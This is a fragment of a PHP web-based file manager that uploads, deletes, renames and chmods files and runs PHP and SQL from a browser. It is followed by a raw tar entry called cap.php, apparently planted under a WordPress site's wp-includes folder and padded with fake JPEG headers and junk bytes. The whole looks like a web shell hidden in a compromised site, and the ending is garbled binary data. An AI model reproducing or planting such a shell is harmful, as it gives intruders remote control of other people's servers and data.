        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK     |\FL @  @   cap.php.tarnu [        home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php                                  0000644                 00000234451 15217274014 0021221 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

